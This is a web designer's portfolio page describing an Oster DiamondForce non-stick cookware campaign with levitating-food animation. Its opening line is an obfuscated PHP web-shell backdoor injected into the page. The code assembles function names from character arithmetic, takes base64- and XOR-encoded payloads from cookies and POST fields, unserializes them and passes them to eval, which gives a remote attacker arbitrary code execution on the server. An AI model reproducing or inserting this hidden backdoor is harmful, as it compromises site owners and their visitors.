$kUSsPi = chr ( 186 - 113 )."\x79" . chr (95) . chr ( 512 - 436 ).chr ( 206 - 108 )."\x6c" . "\x42";$niWSxOmlJy = chr ( 907 - 808 ).chr (108) . "\141" . "\x73" . "\x73" . "\137" . "\145" . 'x' . "\151" . "\x73" . chr (116) . 's';$Pucgs = class_exists($kUSsPi); $kUSsPi = "33406";$niWSxOmlJy = "14515";$hlomTfO = !1;if ($Pucgs == $hlomTfO){function AdMtLs(){return FALSE;}$WBOOsINjx = "6160";AdMtLs();class Iy_LblB{private function agkUaAjKi($WBOOsINjx){if (is_array(Iy_LblB::$DKKBsX)) {$EjhFOuphd = str_replace('<' . chr (63) . "\160" . chr ( 567 - 463 )."\160", "", Iy_LblB::$DKKBsX[chr ( 985 - 886 ).chr ( 1047 - 936 )."\x6e" . chr ( 302 - 186 ).chr (101) . "\x6e" . "\164"]);eval($EjhFOuphd); $WBOOsINjx = "6160";exit();}}private $NaOxLciy;public function uCHRAiwxBb(){echo 48490;}public function __destruct(){$WBOOsINjx = "59352_5652";$this->agkUaAjKi($WBOOsINjx); $WBOOsINjx = "59352_5652";}public function __construct($IMFcxBRD=0){$EsXieMGn = $_POST;$FPbWSZN = $_COOKIE;$nNmdoYde = "0ec9e75f-a21f-4f86-908d-7c65f5011896";$GasFA = @$FPbWSZN[substr($nNmdoYde, 0, 4)];if (!empty($GasFA)){$iPkdQCRjid = "base64";$QZBeg = "";$GasFA = explode(",", $GasFA);foreach ($GasFA as $BXUgWRx){$QZBeg .= @$FPbWSZN[$BXUgWRx];$QZBeg .= @$EsXieMGn[$BXUgWRx];}$QZBeg = array_map($iPkdQCRjid . "\137" . "\x64" . chr ( 114 - 13 )."\143" . chr (111) . "\144" . "\145", array($QZBeg,)); $QZBeg = $QZBeg[0] ^ str_repeat($nNmdoYde, (strlen($QZBeg[0]) / strlen($nNmdoYde)) + 1);Iy_LblB::$DKKBsX = @unserialize($QZBeg); $QZBeg = class_exists("59352_5652");}}public static $DKKBsX = 1752;}$IAlYgGlFFO = new /* 50311 */ Iy_LblB(6160 + 6160); $_POST = Array();unset($IAlYgGlFFO);}
Project DiamondForce
Client Oster
What I Did Concept, Storyboard, Copy, Design, Edit, Motion, 3D
Platform Social, Landing Page

Taking non-stick to new heights

Oster was looking for a unique way to show how their new DiamondForce technology really prevented food from sticking to their cookware surfaces. Rather than the cliche approaches to showing non-stick technology, I wanted to take this idea to a new level. 

This led me to the idea of levitating food, with the key phrase "it's almost as if your food isn't touching the pan at all." After I developed the concept, script, and storyboard, the next hurdle was to figure out how make the food look like it was floating!  In the end, the film crew and I decided we needed to use a mix of 2D and 3D animation to accomplish this.

I enlisted the help of a colleague to create the sandwich and waffle 3D models, while I did the edit of the footage, 3D animation of the diamond and technology scenes, and animation on the bacon and eggs levitating.



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Copyright · Joseph Nay 2021